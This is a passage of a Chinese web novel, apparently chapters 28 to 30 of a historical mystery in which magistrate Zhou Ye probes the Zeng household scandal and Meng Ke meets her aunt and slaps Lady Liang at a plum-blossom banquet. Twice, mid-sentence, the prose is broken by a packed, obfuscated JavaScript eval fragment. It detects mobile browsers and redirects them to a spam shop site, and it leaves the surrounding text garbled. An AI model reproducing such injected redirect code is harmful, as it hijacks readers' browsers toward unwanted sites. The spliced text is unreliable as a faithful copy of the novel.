而震言哥哥，也会是如今一般的慈父吧，会带着他们的孩子，去湖边捉鱼，去郊外放风筝，去野地里跑，去玩他们儿时一起玩过的诸般乐事吧。 震言哥哥不会游水，每次她游水，他就在湖边钓鱼。一次，她从湖里起来，上岸的时候没看见，一脚踹翻了他装鱼的桶，鱼儿也想不到能得这么个救星，欢快地入水就不见了。 半日的辛苦全作了废，他一下急红了脸，却也没有生气，愣是没有说她一句，没有怪她一点。 还有一次，他把风筝放得高高的，才将线圈交给她，告诉她风一紧就要放线，她答应着，转头就去看路边野花了，一个不留神，线就崩断了。眼看着风筝飞远，他们跟着追啊追，追出去好远，终究也没找到。 两人天黑了才回家，挨了好一顿训。他也好好听着，什么都没说。 儿时觉得，哥哥懂事是应该的，护着妹妹也是应该的。可如今想想，他那时也只是个孩子而已，但是就真的......挺宠她的。 回雪见小姐愣了半晌，眼睛陡然红了红，随即又笑了起来，笑着笑着眼睛又红了。 孟珂长吁了一口气，但那口气因为控制而微微发抖，发现回雪在看她，笑着摇摇头，没头没脑地道：“好多年……没放过风筝了。” 震言哥哥如今是见着了，好好地长大了。那姨母......姨母现在什么样了？应该也好好的吧。她应该也会偶尔想起她的妹妹来，只是......随着年深月久，脑中也渐渐模糊了她的模样吧。 *** 孟珂和周冶还没进城的时候，绥陵的酒肆茶馆就传起了流言。 “你们知道邵夫人为何自尽吗？” “为何啊？我就纳闷呢。曾大人出事都那么些日子了，早不自尽，晚不自尽，怎么偏偏今日......” “是啊！要么出事的时候就想不开，要么也等查明真相啊，怎么不早不晚地、今日突然要死要活呢？” 那起话头的人冷笑：“你当曾大人这祸事是怎么出的？” “赶紧说吧你！别卖关子了。“ “我告诉你们，因为曾家后宅……出了件丑事！” 众人都屏住了气，听他说下去。 “因为那邵夫人招了野男人，让曾大人撞见了！两口子闹了起来。那曾大人这才连亲随都没带，自己出去喝了一日的闷酒，结果就……跌湖里淹死了！” 有人不太信，“真的假的？曾大人还没入土为安呢，你们就开始造谣了。” 又有人问，“那邵夫人为何在出殡之日才自尽呢？” “因为那野男人昨夜被抓住了，纸包不住火了啊！” 众人闻言又惊呼了一声。 “那人是被曾家隔壁的朱家抓到的，都被拿到县衙去了，我亲眼看见的。” 此言一出，引来连声附和。 “原来是朱家那个贼啊！” “我也听说了！那朱家闹了几回贼，可啥也没丢，还觉得奇怪呢。原来，那贼偷的不是朱家，而是曾家；偷的也不是财物，而是人！” 说着，一圈人都哄堂大笑起来。 同一条街上，同一日，同一个茶馆，上午还在痛惜大善人身死，这会儿又开心地嚼着他的蜚短流长了。 周冶是让人从花船上叫回衙门的。 他哭笑不得：“这一日还真够长的，到底还有完没完！” 这些日子以来，他的一日好像被抻成了好几日长，干了好多事，一天都还完不了。 为了逼真，他还真喝了些酒，临下船还朝身上撒了些，此刻坐在堂上，身上的酒气不时还往外飘散。他掐着太阳穴，装着微醺，示意涤砚替他问话。 涤砚问那朱家主人：“既闹了几回贼，为何不报官啊？” 朱端华嘲讽地笑道：“没丢东西啊！草民哪有平白给衙门多事的道理？” 涤砚冷不防开口就被暗怼了一下。 那朱端华低声嘀咕道，“前年年下，丢了好多东西，我倒是报了，最后不是不了了之？还挨了好一顿训！说是我不管好自家门户，给老爷们找事。说必定是自己在外面露了财，才让贼人盯上。” 声音虽低，却也确保能让众人都听得见。 末了，还不轻不重地“哼”了一声，“谁还上赶着，来报个官，白挨一顿训斥啊！” 涤砚正要开口，周冶敲了敲桌子：“你前年挨的训，关我今年来的现官什么事？今后有事，该报官就报官，只要不是故意报假消息，不会有人胡乱训你！” 最后这半句，是说给堂上众人听的。周冶说的时候，刻意扫视了一圈，见满堂的人应该都听明白了。 朱端华飞快地瞄了周冶一眼，道了声是，才收起了方才的嘲讽，认真地道：“不曾想，昨夜竟又闹了一回。偏巧我在账房对账对得晚了，回后院的时候，瞥见房顶上有个人影，就知道又来了，没动声色，暗暗叫人去召了家丁来围堵。” “那贼人伏在靠近曾家的耳房顶上。那几间房的梁遭了白蚁，没人住，本想等开春拆了重盖的。那贼人见被围了，一慌，一脚踩断了椽子，掉进了屋里。下人便将他围了。” “若不是消息走漏出去，有人来报官，你还打算动私刑不成？” “不敢，不敢。小人只是想先审问审问，再找他家大人、族老管束。很多事，族老就能解决了，也不用劳烦衙门的老爷们。” 周冶笑着哼了一声：“这话说得倒是漂亮！但你明知此人的目标是曾家，而曾家又接连出事，你一不来报官府，二也不知会曾家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那个当年的‘秘密’是什么？” 刘宝摇头道：“我也不甚清楚。但是，大人，那曾怀义当真死了！那邵夫人也自尽了。由此可知，当年的事……就是蹊跷，他们夫妇二人自知罪大恶极，才会宁死也要掩藏！” 周冶掐了掐眉心，好笑道：“你写封匿名的威胁信，就能让曾家夫妇先后畏罪自杀？” 刘宝呆呆地看着他：“我……我也没想到能那么顺利。” “你说的当年的秘密，是哪一年，是什么秘密？” 刘宝道：“就是......霍家的......” 周冶抬手示意他别说，跟涤砚相视一眼，把堂上的人都撤了。 他走下堂来，蹲在刘宝身边：“这个案子，你知道什么，一字不落地都告诉我。” “我爹就是因为那个案子，被判死的......” *** 周冶审完刘宝，回书房去，在院子里看见消失了一日的洗墨，忙叫住了他。 “你这一日跑哪儿疯去了？” 洗墨“嗐”了一声，跟着公子进去，一路说起了自己的遭遇。 自从上次探听霍家案的消息得力，得了大赏赐，他便天天想着立功了。知道公子借这出殡，想探听些消息，便去四处晃悠。 他在曾府晃了一圈，又晃到府外，挤在人丛中，听了一耳朵议论，无非都是悲叹哀悼之语，简直要磨出茧子来了。挤了半日，一无所获——除了脚上被踩的好几个鞋印子。 他正准备回去找公子，冷不丁地，就听耳边有人啐了一口。 “这满大街的，眼眶子里长的都是死鱼眼珠子。没个亮的！” 转头看时，只见是个破衣布衫的男人，正一瘸一拐地往人群外去。 洗墨眼珠一转，跟了上去，怒斥那人道：“你啐谁呢？曾大人造福绥陵百姓无数，不许你对他这般不敬！” 那人停了脚，转头看他是个家仆，照着他也啐了一口。 啐完，便又瘸着走了，口中念念有词道，“不过是个先卖勾子，再卖心肝的，卖完自己，又卖兄弟的。手足、妻子、媳婿……无不可卖——” 洗墨听着这话里有话，忙跟了上去。 28. 思园 那瘸子身后缀了洗墨这条尾巴，也不知是没注意，还是知道了也不管，在城里悠悠绕了半日，绕得洗墨肠饥肚饿、心烦气躁。他正哪儿哪儿都不自在的时候，顶头撞上来个人。 一看，不是别人，却是高仲。 高仲那夜听说被打的人死了，战战兢兢了好几日，见有狱卒来提，满以为是送他上刑场，百般哭闹，死不挪窝，最后还是被强拖了出去，一把掼在地上。 他抱着头在地上缩成一团，死都不肯动，可伏了半日，也没人来动他，人仿佛都走了。他疑惑地睁眼一看，这不是刑场，而是衙门外的偏巷。 出卖亲爹和亲老爷还真有用，还真换到了一条生路？他既怕曾家得知，也怕苦主知道了再将他扭送回牢里，一骨碌爬起来，就没命似的径直跑出了城。 这一躲就是数日，等到自家老爷出殡之日，他才大着胆子，乔装了，乘着人多眼杂，一步一试探地往城里去——总要跟母亲通个消息，拿点银两才好跑远路。 结果，进城一打听，那伤者根本就没死。他这才知道被耍了，看着自己狼狈样，一时又气又恨，只得避着曾家人，回家去再说。谁料，当头就撞上了那骗他的洗墨。 两下里都一惊。 高仲瞪着洗墨，心中虽恨，但也知道这是县令跟前的人，动了他肯定吃不了兜着走，在牢里还没吃够苦头么......就这么犹豫了一下，等再看时，哪里还有人影。 洗墨一连跑了几条街才停下来，瞅瞅没追上来。他素日是个机灵的，知道自己动起手来，定然不是这等泼皮的对手，何苦吃亏，待有人的时候再收拾他不迟。 可这么一耽误，那瘸子也不见了踪影，白折腾了一天。 洗墨说着这一日遭遇，一时机智得意，一时又恼火丧气，简直比那说书先生还活灵活现。 周冶看着他，不免好笑，但见他被笑又委屈起来的样子，敷衍地收了收笑意，抬手拍了拍他肩膀：“你有心了！赏！一样赏。” 说着，他突然想起，兄弟们去营救樊仲荣，折腾了半日辛苦，又吩咐洗墨：“对了，你去厨房，叫他们做顿好的，多添点好酒好菜，犒劳犒劳兄弟们。” 洗墨不多时便回来了，却道：“厨房说，大人平日添几个菜倒是无妨，但衙门的月费是有定数的，另治办这么多人的酒席，就不够了。前几次不好驳了大人，好歹是腾挪出来了。可这长此以往，厨房实在贴补不起。” 周冶道：“那不妨事，你多拿点银子去便是。既然是犒劳，就不要小气，酒菜都多多预备着。” 洗墨依言去了，还带回了外头邵夫人和“野男人”的笑谈。 不过是个朱府闹贼的消息，才多会儿，就传成了邵夫人不安于室，夜会情郎——那情郎，当她儿子都嫌小了。 熹园内的人也听说了，俱是无语。 *** 夜阑人静，梁夫人哄睡了韵儿，将下人都遣走，这才坐在孩子床头，从袖中取出信来。 这半日，总不得机会，袖中就像装了个什么似的，总惦记着。耽误了这么久，什么忐忑也都磨光了，她打开来，几乎一目十行地扫过，心里稍微落了点定，又从头再看了一遍，这才折了起来。 孙嬷嬷在一旁也好奇，却不敢打扰，这时才看着她的脸色道：“想来，是不必担心了？” 梁夫人看了她一眼，冷笑道：“好像你识得字，读得信一样。” 孙嬷嬷知道猜对了，笑道：“我自然不能读信，但我能读夫人啊。” 梁夫人瞪了她一眼，但脸色已然轻松不少，又看了一眼手中信：“虽如此说，但我还是不能真正放心，必得自己亲自验过才算。” 她凑到烛火前，将信点了，“这次的赏梅宴，该请的人，全都要请到，一个都不能少。” “明白。” “婆母也该来看看孙女了，派人回府去接，就说......婆母若不来，我便亲自去接。” 说着，她转头看着孙嬷嬷，阴恻恻地笑道：“这场宴，定要好生准备。” 赏梅宴这日，凡在绥陵的、数得上号的官家女眷基本都到了。 一院的梅花，红的似火，如彤云挂彩，白的如雪，衬着朱墙，煞是好看。众人交口称赞，恭维不迭。 梁夫人脸上笑着，口内却低声抱怨着：“什么花不好赏，偏赏梅？年年冬日里都要找这么一回苦吃。春日赏花多好，春和景明，人也畅快，哪像这......冻死个人！” “一年就这么一回，少不得忍上一日。”孙嬷嬷劝道。 梁夫人咬着后槽牙，恨恨地道：“还非得把我女儿的名字，也跟这什么梅花、霉花的，扯上关系！这些人装什么君子！装也罢了，梅兰竹菊，好哪个不行，偏好这一个！” 孙嬷嬷忙转移话题：“不知，那位……今日可会来？” 梁夫人哼笑一声：“她今日不来也无妨。绥陵就这么大，要遇还不容易？她还能日日不出门？就算她不动如山。这山不向我来，我还不能向山去？若她既不出门，也不见客，就此一躲到底，那就……有意思了。” 说着，又叮嘱道，“一定盯紧了，半点蛛丝马迹也不能错过。” *** “那位”已经到了陈府门口。 回雪正劝：“小姐，咱们要不……还是别进去了吧。” “要见的早晚躲不掉。”孟珂看着她，“放心吧，我心中有数。” 她知道震言哥哥的好恶，自然也知道怎么让他嫌恶，对自己避之不及。 马车一停，陈府门口早有眼快的，转头冲里面使了个眼色，二门上的一个小厮又接着朝里使眼色，一路传进了后院。 等孟珂一行人进了后院，就见几个丫鬟婆子正带着陈家那小小姐在玩。 孩子天然便知美丑。小姑娘对那些美丽的女子，更是天生就格外亲近、向往。 一见孟珂，她忽闪着一双漆黑明亮的大眼睛，快步跑过来，朝她伸头笑了笑，打个旋儿又跑开了。 孟珂知道此时该说些什么，却发现自己开不了口——这孩子，长得跟她母亲儿时一模一样。 也正如她噩梦中的，一模一样。 这些年，霍茹蕙儿时的模样已经渐渐模糊，只剩了个囫囵的影子。可那日在熹园见了这孩子，她噩梦中的人脸，就清晰得分毫毕现起来。 “韵儿！” 她怔愣间，听见一个中年妇人含笑道，“瞎跑什么，看见客人也不知行礼！” 孟珂循声看过去，这下，真的怔住了。 她做好了今日在此正面遭遇陈万霆的准备，可没做过见姨母的准备。 十几年未见，柯夫人已经从丰腴少妇变成了富态的祖母，但依然亲和明朗，笑容可掬。 孟珂眼中发胀，胸中腾起一股抑制不住的冲突，她不自觉地转开了脸，深吸一口气，将那翻涌的心绪强逼了下去。 这么多年过去，她以为自己已经收放自如了，却没想到，见到最亲的人，只需一瞬，便濒临决堤。 早知如此，她就该听回雪的，不要进来才是。 对方刻意要试，难免有意料之外的埋伏。只因柯夫人一向不在绥陵，也打听过她历年都不来这赏梅宴，没想到，还是被杀了个措手不及。 一扇窗户后头，有双眼睛正盯着这边，回雪担心地低声提醒道：“小姐？” 却说韵儿，一见祖母，高兴得噔噔噔地冲了过来：“祖母——” 孩子跑得飞快，孟珂心中一动，脚下一挪，就挡在了韵儿必经之路上。下一刻，孩子就一头撞在了她怀里。她“哎哟”了一声，乘势弯下腰去。 回雪眼明手快，上前扶住她：“小姐！撞着了！撞得厉害吧！” 柯夫人“哟”了一声，疾步上前来问：“小姐，怎么样了？” 孟珂微微抬脸，看着她，勉强挤出个笑来：“没......没什么。” 柯夫人见她面无血色，目中还有泪光闪烁，惊道：“怕是撞得不轻！这孩子，也没个轻重的，实在对不住。” 说着，上手扶着孟珂，朝院中的石桌石椅走去：“来，坐会儿。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999125|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又转头吩咐自己人，“垫子拿来铺上，天寒石凉，仔细再凉着。” 等孟珂坐下缓了缓，柯夫人才转头训斥孩子：“韵儿，过来，看你把姐姐撞得！来给姐姐道歉！” “无妨。”孟珂声音微颤，“夫人莫怪孩子，她也不是故意的。” “是孩子，才更要教！若看是孩子就放过，她如何能知事明理？” 孟珂一听笑了。这话，她每每训诫震言哥哥的时候，也如此说。每次，她都在一旁看热闹，见震言哥哥被罚，就在一旁嘲笑他。如今想来，实在只是当时年纪小…… 韵儿自知闯祸，乖乖道了歉。 孟珂脸色好转，对柯夫人抱歉道：“晚辈方才不曾见礼，还请夫人勿怪。” “见什么礼！该我们向小姐赔礼才是！”柯夫人道，“还不曾问，小姐是……” “这位，是卢中书府上的小姐。” 一个男人走进院来。 身边仆人提醒说，这就是新任县令周大人。 柯夫人“哟”了一声，笑道：“老身少有到此，还未见过周大人。” 两相见过礼，周冶看了孟珂一眼，公事公办地道：“柯夫人，晚辈还有些公事，要问问小姐。不知，夫人可行个方便？” “自然、自然。” 柯夫人连连应着，带着一众仆妇去了，走出一段，又回头看了孟珂一眼。 陪嫁刘嬷嬷看她用力地揉着心口，忙问：“夫人怎么了，怎么突然又不舒服了？” “也……说不上来。”柯夫人眼睛发胀，心口也不舒服，叹道，“这人年纪大了，果然是不中用了。手脚没那么灵便了。连这心肝脾肺肾什么的，也都不听使唤了。莫名的就……难受得紧。” *** 等柯夫人走开，周冶才朝孟珂走去，面色揶揄：“小姐，可真是巧啊！” 孟珂听他语气不对，抬眼去看，只见他用气音低声道：“有人正盯着你呢。” 难怪他来这出抢人，孟珂接戏也快，冷笑着白了他一眼，大声道：“我看是很不巧，一来，就碰到不想见的人。” 周冶也大声道：“这一点，周某跟小姐倒是所见略同！” 又低声道，“小姐真是碰得一手好瓷，连几岁孩子都不放过，以后，我怕是得离小姐三丈远！” 孟珂低声道：“你现在就可以三丈外去！” 周冶气结。 洗墨在一旁，又是笑，又是叹，这两人都练了什么神功，分明看着嘴巴不动，却能清楚地说出话来。他对着一旁的侍剑试了试，发现自己只能发出几个含混不明的音。 侍剑瞪着他，跟看白痴一样，换了个地方站。 洗墨：“……” 被侍剑嫌弃，对他来说无疑是天大的否定，地大的羞辱。 隔壁院子，穿堂的暗影之中，一个婆子回道：“小的按吩咐，用韵儿把老夫人引过去了。谁想，小姐一头就撞了上去，把人撞得不轻。老夫人同她都没说上几句话，那周大人就来了，许是为了上衙门骂他的仇，找她茬。两人正掐着呢......” *** “能跟我斗嘴，就是没事了。”周冶笑道。 说着，看了孟珂一眼，没头没脑地问了句，“长得像吗？” 孟珂却听懂了，摇摇头：“并非一母同胞。一个像父亲，一个像自己的母亲。” 只是，这隔了肚子的半姊，却比好多一个肚子里出来的都还亲。姨母对她视如己出，倒是比自己那个至死都还单纯得像个孩子的母亲，更像她的母亲。 一想到她，孟珂眼中不由又发胀，但只一息，已回复如常。 她脸上的风云变幻，都落入了周冶眼里。 他故意逗她道：“我刚还想着，你若是要失态，我就冲过去……吼你、骂你，反正变着法子把你弄哭。” “那……”孟珂冷笑一声，“你会非常有幸地成为，我第一个抽耳光的男人。” “你？” “想试试？” 说着，两人都笑了。 29. 当罚 洗墨哪见公子受过这种挤兑，偷笑还不够，转头冲着侍剑，继续学着二人嘴巴不动地说话，还学舌道：“你会非常有幸地，成为我第一个……男人。” 这次，声音倒是不含混了，能听清了，却也让大家都听见了。 周冶头皮一麻，还未及出声，回雪已经跳出来了。 她一言不发，朝洗墨冲过去，扬起手来，显然要让他先“非常有幸”一把。 侍剑忙张臂拦着回雪，挡在洗墨面前：“回雪姑娘，消消气，他不是笑你家小姐！真的不是，他是笑我家公子……你消消气——” 回雪眉毛一竖，连他也一并瞪上了：“你给我起开！” 侍剑求救地去看公子。 只见周冶抬手扶额，一副既没眼看，也没脸见人的样子，抬手指着洗墨：“你给我……有多远，滚多远——” 侍剑得了令，抬脚轻轻一踹，就将洗墨踹开了几步：“还不赶紧滚！” 洗墨口内应着，勾着身子，麻溜地滚了。 侍剑看着他的背影不由发笑，回头对上回雪瞪圆的眼睛，忙又收了。 回雪愤愤地收了手，站回小姐身边。 孟珂始终未发一言，笑着看向周冶。 周冶心虚地看她：“小姐，对不住，这小子……我们平日私下里比较......亲近，没什么主仆之别。当然这是不对的！尤其在小姐面前，这样无法无天还了得，回去看我怎么收拾他！” 窗后的眼睛，看着这边又是横眉毛竖眼睛，又是要打，又是拦的，使人向梁夫人回报去了。 “差点打起来了！”去回报的丫头添油加醋地道，“那小姐身边的大丫鬟都冲上去了，但对面毕竟是几个大男人，还都是有功夫在身的，要真动起手来，都不够人一只手的。只得吓唬吓唬就算了，还被人笑了。这熹园和周大人的梁子，这下结得更紧了！” *** 却说柯夫人，牵着韵儿到处找母亲，找了许久也没见人。忽而见梁夫人从暗影里走了出来，满面春风的。 她脚步轻快地朝柯夫人走去，边走边斥责下人：“婆母来了，怎么也不来个人通报！” 柯夫人笑道：“有什么好通报的！一家人，偏讲这些虚礼！” 梁夫人走到跟前，施礼下拜：“知道婆母心疼我，但媳妇也该尽一尽孝才是。” 柯夫人早扶住了她：“你这孩子也真是的……这越大，还越客套了。我知道，你操办这宴席，辛苦了多日。老婆子远在府中，不能给你搭把手就罢了，倒还要多折腾你一遭？” 梁夫人乖巧地道：“谢婆母体恤。” 她脸上甜甜地笑着，眼里却嫉火中烧。 柯夫人对她越好，她心中那簇火就烧得越旺：她凭什么有这么好的姨母，事事体贴，万般爱怜？她凭什么有这么好的表哥，潇洒倜傥，宠溺妻女？她凭什么生来就得到这些，还夺都夺不走…… 梁婉章早已不在，却又无处不在。就跟这思园中的梅花一样，人人念她，处处是她，这些年，她几乎一刻也不曾真正摆脱过她！ 这时，不知谁窃窃私语道。 “瞧，快瞧，那卢家养女来了。” 梁夫人一抬眼，果见孟珂走进园来，嘴角浮上一丝诡秘的笑，一瞬就收了起来。 柯夫人也循声看过去，见正是方才的卢府小姐，心里微微一动，她竟是养女，可怜见的。 梁夫人道：“婆母，我去迎一迎贵客。” “去吧，”柯夫人低头笑眯眯地看着韵儿，“走，跟祖母玩去！” 韵儿高兴得蹦着跳着拍起手来，指着隔壁院子：“我要玩秋千去。” “好，咱们玩秋千去。” *** 孟珂正朝莲池上的彤云桥走。 梁夫人迎上去，隔着一池残荷枯梗，相向而行。 孟珂上了桥，登高看远，四下里扫一眼，见不少人在看着她，口中显然也正议论着她。 绥陵官眷中，只有少数在曾府丧礼的头一日，匆匆见过她一回，大多都未曾见过，男客见过的就更少了。这下，男男女女的，不免都远远近近地观看着这位京中来客，评头论足一番。 周冶在莲池边看着，见她在这众人的瞩目之中，走得不紧不慢，倒是大有不怒自威，睥睨满园的架势。 梁夫人等在了桥头。孟珂走下桥来，还没站住，斜刺里突然就窜出个什么来——她接着便飞了出去。 周冶急得差点叫出声来。 好在，她刚飞身出去，回雪就扑上去，一把抱住了小姐。两人旋了不知几圈，才在莲池边堪堪站住。 众人不由都替二人捏了一把汗。 再一看，回雪的一只脚已经踩入莲池，飞溅起满裙子的泥水，难为她好歹撑住了，没双双滚落进去。 而她们主仆二人方才站的地方，地上滚落了个煨菜用的小炭盆，火红的木炭撒了一地。 一个丫头扑通跪倒在地，磕头求饶不止。 孟珂一看就明白了，心下冷笑，难怪，她方才就觉得什么东西从手臂上堪堪滚过。 抬手一看，袖子已经被燎出了一溜黑洞，好在冬日穿得厚，不曾烫穿，没伤及皮肉。 再看那丫头，身形粗壮，而她身子又太轻，被那么一撞，便毫无障碍地直接撞飞了开去，又有回雪抱着旋开，倒没被烫着。 回雪抱着她，身上倒被飞洒的火炭烫了几个黑窟窿，也不知伤到没有。 “妹妹可烫着了？快让我看看。” 梁夫人满脸惊恐，满目担心，说话间，已经冲上去拉孟珂的手臂。 还没挨到孟珂的手臂，一只手便破空而来，铁钳似地抓着她的手腕，一扭，再借力一送，她便顺势扑了出去，脚下接连跌撞了好几步，直直地朝莲池冲了过去。 电光火石之间，梁夫人身边的丫鬟婆子看都没看清，更别说反应过来。 梁夫人只惊慌了一瞬，一个主意便上了心头，嘴角噙起笑来…… 可就在这时，她的扑势乍停，一只手拽住了她的手臂，一把便将她拉了回来。 丫鬟婆子们反应虽慢了些，但好歹已经惊叫着“夫人”，围了过来。 那只手一拉，就将她送入了扑上来的丫鬟婆子堆里，让她们七手八脚地扶住了。 梁夫人抬眼一看，竟是周冶。 他果真跟熹园对上了。一个要摔她，一个就来救她——而孟珂方才要摔，他也没动。 *** 梁夫人被众人扶着，捂着心口，惊惧不已，怔愣了半晌才缓了过来似的，朝周冶施了一礼：“谢周大人出手相救。” 说完，又看向回雪和孟珂。 不待她开口，孟珂就已经斥道：“回雪，还不向夫人请罪！你以下犯上，当罚！” 回雪看着梁夫人，硬邦邦地道：“梁夫人见谅！” 说着，瞪了地上那丫头一眼，“夫人的丫头意图谋害我家小姐，好险才避开，夫人又冲了上来。我一时慌乱，没看清，只当有人一击不成，又要行刺，胡乱出手去拦。谁想，竟错推了夫人，还请夫人莫怪。” 梁夫人仍一脸心有余悸之态，说道：“不妨事，不怪你。原是我家丫头之过。” 回雪不依不饶道：“夫人说的正是！这么一炉子烧红的火炭，落在谁身上，受得住？夫人你可受得住？” 一旁的围观人中，有人不满地道，“不过是个丫头，竟如此趾高气昂，让郡守夫人在这么多人面前低声下气，成什么体统！” “谁说不是呢，这熹园的，也太过张狂了！” 回雪闻声冷笑，扫视着众人，说道：“想必夫人小姐们受得住，老爷大人们也受得住？各位都是心善、大方的，那谁上来抓一块试试！只要有一位受得住，是杀是剐，任凭处置！” 说着，又看着地上那丫头，指桑骂槐道，“把这思园当什么刑场，还是阎罗殿？我家小姐初次登门，这又是火炭来烫，又是往冷水里撞的，这是要我家小姐的命啊！这么狠辣的丫头，各位也是容得的？” 等回雪噼里啪啦说完了，孟珂才笑着对梁夫人道：“姐姐，实在是对不住，不管有心还是无意，她终究是推了姐姐。以下犯上，无论情由，当罚。姐姐你看，该怎么处置？我绝无二话。” 梁夫人抬眼看她，一则不知她这话是真是假，二则……她眼睛一溜，当着众人，自然只能大度。 于是道：“是我家丫头有错在先，我想着，她一定不是有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999126|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，妹妹教出来的丫头，自然不会有错的。” 孟珂道：“姐姐的意思是，不罚了？那......妹妹谢谢姐姐了。果真大家风范，闺阁表率。” 说着，朝梁夫人下拜。 梁夫人“哪里哪里”地应着，忙扶了她起来。 两人一副姐妹情深的样子，仿佛方才的一切都没发生过。 “公子，这二人不是……”侍剑压低了声音，“仇敌么？这卢府小姐一向跋扈，怎么在这儿倒是讲起道理，忍气吞声、息事宁人起来了。” 周冶心中笑他，又学会一串成语了，忍俊不禁道：“你还没看出她这人做事的路数？” 见侍剑一脸不解，他耐心解释道，“她做事，正是兵法中的‘先为不可胜，以待敌之可胜’。她这人，冷静、理智，有耐心长期蛰伏，有智计周全谋划。做事极稳，如非必要，绝不展露真实的态度。不到最后一刻，不透露真实的立场、目的。要么不出手，出手便是一击即中！” 侍剑一听到兵法，脑子里就开始搅浆糊了，只后悔自己多嘴这一问。 周冶看出他不想听，抬手敲了他脑门一下，换了他能听懂的话道，“你以为，这学富五车的高门贵女，跟那街头混混结仇一样，见面就打一架；还是跟婆子丫头掐架一般，成日就是你打我一巴掌，我扇你一耳光……” 话音未落，就听得“啪”一声脆响。 周冶和侍剑同时转头去看，梁夫人头歪向他们，捂着半张脸，显然懵了。 众人齐齐倒吸了一口气，还有人失手砸了什么东西。 *** 被打的人懵了。 看的人懵了。 其实，打的人也一样懵了。 小时候，郑夫人每每拿着她的手，去打霍茹蕙：“她打你，你就打回去便是。” 她却每次都拼命往回拽，拽回来还藏到身后，生怕再强拉她去打人，宁愿每每听着满耳朵大人们笑她的声音。 孟珂从来没想过，她第一次打人竟是这样的——完全不需要过脑子，打完了才回过神来。 而一回过神来，想的就是，刚才到底用没用上力——既然打了，怎么能打轻了呢？就该用尽全身力气，抽得她永生难忘才是！ 抬眼一看，梁夫人懵在那儿，脸上没捂住的地方已经红了——应该不算太轻吧。 梁夫人耳畔还在嗡嗡作响，半是被打的，半是方才太猝不及防，脑子里发懵的。她半晌才转头去看孟珂，呢喃道：“你……你……” “我怎么？” 这些年来，她在梦中，已经抽过这个人无数回了，每每醒来的时候，抽耳光之时的胸中激愤，一丝都不少。可她怎么也没想过，竟然会应在这一天，这一刻。 孟珂笑道，“姐姐大方，不计较我这丫头冒犯。但我这人不大方，犯到我头上，必得计较！” 小时候，只要霍茹蕙想要她的东西，她不愿给；或是要拉着她去做什么事，没依着，霍茹惠便能立刻两眼含泪，委屈地向母亲告她的状：“柯夫人，妹妹她……打我。” 反正都要恶人先告状，那便先打了再说。儿时的自己，怎么就那么没用呢？多少回都不吃教训。 孟珂笑着看梁夫人，向前一步。 梁夫人预感到了什么，脚下还没来得及动，孟珂已经反手又是一抽。 “姐姐你以下犯上，当罚。” 梁夫人这下彻底惊呆了。 她捂着脸，不自觉地摇着头，心道，不，不是，不是她，一定不是她……她做不到的……她不会的…… 伴随着第二个耳光，人群中又一阵惊呼，有声音道，“这不是仗势欺人么！” 孟珂冷眼看着，躲在人群里挑事帮腔的，有几个素日与梁夫人交好的，帮亲不帮理倒也罢了，还有些纯蠢、纯坏的。她有势可仗，这些人尚且如此。要是无势呢，不被这些人生吞活剥？ “我就是仗势欺人！”孟珂笑着，转头扫视了一圈，“你们要是有势可仗，也来欺我啊！” 周冶不由抬手摸了摸脸——她说的“非常有幸”，原来非常可能发生。 侍剑也惊得微微张着口，看着孟珂，半晌才叹服道：“要么不出手，出手便是一击即中！” 30. 压轴 梁夫人从呆怔中缓缓回过神来，定了定，转头去看孟珂，强笑道：“不怪妹妹生气，是我管教无方，差点伤着妹妹。” 说着，她往前要挪步，陡然又想起了什么，心生惧怕，站住了问，“妹妹，可有伤着。” 有人道，“看看梁夫人，委屈得眼泪直在眶里打转，还要请罪。” 别人也许看不出，孟珂对她这套可熟得不能再熟了。 她慢慢踱着步，扫视着院里这些人，除了站队的、傻的、坏的，谁是她安插其中，故意煽风点火的？ 人就是这样，若无人出头，大多也不愿当那头一个。可但凡有人领了头，胆子便无端壮起来了。 她这一扫，也扫见了周冶。他站在不远处，跟谁也不为伍，饶有兴致地看着她二人。 孟珂白了他一眼，满眼在说，怎么，也心疼上这梨花带雨的美娇娘了？ 周冶一脸无辜——这祸怎么还能朝他横飞过来呢。 孟珂的目光落回了梁夫人，心道，霍茹蕙，这么多年了，你真当这招百试不爽么？ 她暗暗向回雪使了一个眼色，身子突然抽动了一下，一抬脸，满脸的惊恐失措，下一刻，却又像变了个人，满脸狠戾怨愤。 回雪惊叫道：“小姐！小姐你......你又......” 她忙解下荷包，倒出一把白米来，一手捧着，一手撮了一小把，朝小姐身上撒了过去，边打边赶道：“走！走！走！赶紧走！别缠着我家小姐！再不走，看我不打得你魂飞魄散！” 这突如其来的转变，梁夫人不由也看愣了。 不知是谁道，“你们看她......像不像是两个人......不一定是人，正在抢身子？” 话音未落，孟珂的身子猛地一抖，随即浑身软了下去，让回雪扶住了。 过了半晌，孟珂才慢慢醒转过来，缓缓抬头看看周围，等看到梁夫人微微红肿的脸，惊得一哆嗦，忙去看自己的手——也红肿了些，嗫嚅着道：“姐姐......我......” 说着，又看向回雪，来回看着她们二人问：“我做了什么？我......又做了什么？” 